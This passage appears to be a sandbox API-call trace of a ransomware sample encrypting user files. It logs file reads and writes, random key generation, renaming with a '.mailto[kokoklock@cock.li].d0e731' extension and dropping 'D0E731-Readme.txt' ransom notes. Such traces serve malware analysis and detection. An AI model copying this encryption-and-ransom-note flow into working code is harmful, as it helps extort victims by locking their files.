(lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms", dwFileAttributes=0x20) returned 1 [0071.588] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7b0 [0071.588] GetFileSizeEx (in: hFile=0x7b0, lpFileSize=0x13abfebc | out: lpFileSize=0x13abfebc*=960) returned 1 [0071.588] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x3bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.588] ReadFile (in: hFile=0x7b0, lpBuffer=0x13abfe90, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13abfe8c, lpOverlapped=0x0 | out: lpBuffer=0x13abfe90*, lpNumberOfBytesRead=0x13abfe8c*=0x4, lpOverlapped=0x0) returned 1 [0071.603] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.603] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fc8 [0071.603] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34231d0 [0071.603] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422ff0 [0071.603] NtQuerySystemTime (in: CurrentTime=0x13abfe68 | out: CurrentTime=0x13abfe68*=132121176294941414) returned 0x0 [0071.603] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0x82c79191 [0071.603] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0x36ce9630 [0071.603] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0xa9912375 [0071.603] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0x4d932ed4 [0071.603] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0x4de944ea [0071.603] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0x89c3c538 [0071.603] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0xb83a2d4a [0071.603] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0x42f76076 [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0x2d0d4a18 [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0x2a6e910c [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0xde78d81a [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0x175443f6 [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0xb8d956b8 [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0xe7b16350 [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0x3296e82 [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0xa05e3983 [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0xf84e5f22 [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0xa36d7044 [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0xe148486c [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0xbd084f1b [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0xc1e67e7 [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0x6fd2bb8d [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0xb793d9a9 [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0x5b074530 [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0xe3b1e453 [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0xcb4c95b0 [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0xf63f5e48 [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0xfeea8c41 [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0x2c19b2b9 [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0xddfd22c4 [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0xd8a587d2 [0071.604] RtlRandom (in: Seed=0x13abfe74 | out: Seed=0x13abfe74) returned 0x646a85ee [0071.615] ReadFile (in: hFile=0x7b0, lpBuffer=0x3475830, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x13abfe68, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x13abfe68*=0x3c0, lpOverlapped=0x0) returned 1 [0071.615] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x13abfe30 | out: lpNewFilePointer=0x0) returned 1 [0071.615] WriteFile (in: hFile=0x7b0, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x13abfe64, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x13abfe64*=0x3c0, lpOverlapped=0x0) returned 1 [0071.615] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fc8 [0071.615] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423180 [0071.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423180) returned 1 [0071.615] WriteFile (in: hFile=0x7b0, lpBuffer=0x3422fc8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13abfe60, lpOverlapped=0x0 | out: lpBuffer=0x3422fc8*, lpNumberOfBytesWritten=0x13abfe60*=0x20, lpOverlapped=0x0) returned 1 [0071.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422fc8) returned 1 [0071.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.616] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.616] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.616] WriteFile (in: hFile=0x7b0, lpBuffer=0x3423018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x13abfe8c, lpOverlapped=0x0 | out: lpBuffer=0x3423018*, lpNumberOfBytesWritten=0x13abfe8c*=0x8, lpOverlapped=0x0) returned 1 [0071.616] WriteFile (in: hFile=0x7b0, lpBuffer=0x13abfea4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13abfe8c, lpOverlapped=0x0 | out: lpBuffer=0x13abfea4*, lpNumberOfBytesWritten=0x13abfe8c*=0x4, lpOverlapped=0x0) returned 1 [0071.616] WriteFile (in: hFile=0x7b0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13abfe8c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x13abfe8c*=0x4, lpOverlapped=0x0) returned 1 [0071.616] WriteFile (in: hFile=0x7b0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x13abfe8c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x13abfe8c*=0x6c, lpOverlapped=0x0) returned 1 [0071.616] WriteFile (in: hFile=0x7b0, lpBuffer=0x34231d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13abfe8c, lpOverlapped=0x0 | out: lpBuffer=0x34231d0*, lpNumberOfBytesWritten=0x13abfe8c*=0x20, lpOverlapped=0x0) returned 1 [0071.616] WriteFile (in: hFile=0x7b0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13abfe8c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x13abfe8c*=0x4, lpOverlapped=0x0) returned 1 [0071.616] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231d0) returned 1 [0071.616] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423130) returned 1 [0071.616] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423018) returned 1 [0071.616] CloseHandle (hObject=0x7b0) returned 1 [0071.616] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33c8f68 [0071.616] wcscpy (in: _Dest=0x33c8f68, _Source="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" | out: _Dest="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms") returned="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" [0071.616] wcscat (in: _Dest=0x33c8f68, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731" [0071.616] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), lpNewFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.617] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0071.617] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c8f68) returned 1 [0071.617] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms", dwFileAttributes=0x20) returned 0 [0071.617] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3426d28 [0071.617] wcscpy (in: _Dest=0x3426d28, _Source="C:\\Users\\Public\\Libraries\\" | out: _Dest="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0071.617] wcscat (in: _Dest=0x3426d28, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\Public\\Libraries\\D0E731-Readme.txt") returned="C:\\Users\\Public\\Libraries\\D0E731-Readme.txt" [0071.618] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Libraries\\D0E731-Readme.txt" (normalized: "c:\\users\\public\\libraries\\d0e731-readme.txt")) returned 0xffffffff [0071.618] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\D0E731-Readme.txt" (normalized: "c:\\users\\public\\libraries\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7b0 [0071.620] WriteFile (in: hFile=0x7b0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x13abfe88, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x13abfe88*=0x481, lpOverlapped=0x0) returned 1 [0071.621] CloseHandle (hObject=0x7b0) returned 1 [0071.621] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d28) returned 1 [0071.621] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426c58) returned 1 [0071.621] RtlExitUserThread (Status=0x1) Thread: id = 475 os_tid = 0x1310 [0071.589] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\385inggp6-.mkv")) returned 0x20 [0071.590] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv", dwFileAttributes=0x20) returned 1 [0071.590] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\385inggp6-.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0071.590] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x13b3f8b8 | out: lpFileSize=0x13b3f8b8*=26917) returned 1 [0071.590] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x6921, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.590] ReadFile (in: hFile=0x3a4, lpBuffer=0x13b3f88c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13b3f888, lpOverlapped=0x0 | out: lpBuffer=0x13b3f88c*, lpNumberOfBytesRead=0x13b3f888*=0x4, lpOverlapped=0x0) returned 1 [0071.591] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.591] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423270 [0071.591] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34231a8 [0071.591] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423248 [0071.591] NtQuerySystemTime (in: CurrentTime=0x13b3f864 | out: CurrentTime=0x13b3f864*=132121176294785367) returned 0x0 [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0xfc00adab [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0xd924c165 [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0x3dbaa941 [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0x3261b749 [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0x3b413b29 [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0x5abc5584 [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0xa6cc4cac [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0x71aeda0c [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0x32430d52 [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0x9fa46b90 [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0xa42a340 [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0x7f9ad7b9 [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0x7f86e9f3 [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0x625409bc [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0x6d736cea [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0xc09c8b12 [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0xa6a767ba [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0x246e2470 [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0x93371be7 [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0x8bde6448 [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0x10a9db3c [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0xfaf107b5 [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0xb8854bda [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0x59756ba0 [0071.591] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0x375c2db1 [0071.592] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0x7666dc49 [0071.592] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0xbf313696 [0071.592] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0x1a55cab [0071.592] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0xe34be9f7 [0071.592] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0x473bd891 [0071.592] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0x4e2d7700 [0071.592] RtlRandom (in: Seed=0x13b3f870 | out: Seed=0x13b3f870) returned 0x1eb68bc2 [0071.622] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.622] ReadFile (in: hFile=0x3a4, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x13b3f83c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x13b3f83c*=0x4096, lpOverlapped=0x0) returned 1 [0071.623] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.623] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0071.623] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.623] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423180 [0071.623] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423180) returned 1 [0071.623] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.623] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423270 [0071.623] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423108 [0071.623] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423108) returned 1 [0071.623] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.623] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.623] WriteFile (in: hFile=0x3a4, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x13b3f83c, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x13b3f83c*=0x4096, lpOverlapped=0x0) returned 1 [0071.624] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.624] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x6925, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.624] WriteFile (in: hFile=0x3a4, lpBuffer=0x3423270*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13b3f874, lpOverlapped=0x0 | out: lpBuffer=0x3423270*, lpNumberOfBytesWritten=0x13b3f874*=0x20, lpOverlapped=0x0) returned 1 [0071.624] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423270) returned 1 [0071.624] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.624] WriteFile (in: hFile=0x3a4, lpBuffer=0x34231d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x13b3f888, lpOverlapped=0x0 | out: lpBuffer=0x34231d0*, lpNumberOfBytesWritten=0x13b3f888*=0x8, lpOverlapped=0x0) returned 1 [0071.624] WriteFile (in: hFile=0x3a4, lpBuffer=0x13b3f8a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13b3f888, lpOverlapped=0x0 | out: lpBuffer=0x13b3f8a0*, lpNumberOfBytesWritten=0x13b3f888*=0x4, lpOverlapped=0x0) returned 1 [0071.624] WriteFile (in: hFile=0x3a4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13b3f888, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x13b3f888*=0x4, lpOverlapped=0x0) returned 1 [0071.624] WriteFile (in: hFile=0x3a4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x13b3f888, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x13b3f888*=0x6c, lpOverlapped=0x0) returned 1 [0071.624] WriteFile (in: hFile=0x3a4, lpBuffer=0x34231a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13b3f888, lpOverlapped=0x0 | out: lpBuffer=0x34231a8*, lpNumberOfBytesWritten=0x13b3f888*=0x20, lpOverlapped=0x0) returned 1 [0071.625] WriteFile (in: hFile=0x3a4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13b3f888, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x13b3f888*=0x4, lpOverlapped=0x0) returned 1 [0071.625] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231a8) returned 1 [0071.625] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34230e0) returned 1 [0071.625] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231d0) returned 1 [0071.625] CloseHandle (hObject=0x3a4) returned 1 [0071.625] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33c8f68 [0071.625] wcscpy (in: _Dest=0x33c8f68, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv" [0071.625] wcscat (in: _Dest=0x33c8f68, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv.mailto[kokoklock@cock.li].d0e731" [0071.625] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\385inggp6-.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\385inggp6-.mkv.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.626] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0071.626] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c8f68) returned 1 [0071.626] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv", dwFileAttributes=0x20) returned 0 [0071.626] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3479ad8 [0071.626] wcscpy (in: _Dest=0x3479ad8, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0071.626] wcscat (in: _Dest=0x3479ad8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" [0071.626] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\d0e731-readme.txt")) returned 0xffffffff [0071.626] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0071.627] WriteFile (in: hFile=0x3a4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x13b3f884, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x13b3f884*=0x481, lpOverlapped=0x0) returned 1 [0071.628] CloseHandle (hObject=0x3a4) returned 1 [0071.628] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0071.628] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e650) returned 1 [0071.628] RtlExitUserThread (Status=0x1) Thread: id = 476 os_tid = 0x1318 [0071.629] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\7-sb413tnkrcey-i.avi")) returned 0x20 [0071.630] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi", dwFileAttributes=0x20) returned 1 [0071.630] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\7-sb413tnkrcey-i.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0071.630] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x13bbf7f8 | out: lpFileSize=0x13bbf7f8*=59704) returned 1 [0071.630] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xe934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.630] ReadFile (in: hFile=0x3a4, lpBuffer=0x13bbf7cc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13bbf7c8, lpOverlapped=0x0 | out: lpBuffer=0x13bbf7cc*, lpNumberOfBytesRead=0x13bbf7c8*=0x4, lpOverlapped=0x0) returned 1 [0071.631] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.631] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423270 [0071.631] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34231a8 [0071.631] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fc8 [0071.631] NtQuerySystemTime (in: CurrentTime=0x13bbf7a4 | out: CurrentTime=0x13bbf7a4*=132121176295253930) returned 0x0 [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0x7bcc946 [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0x65f59235 [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0xb9943e45 [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: 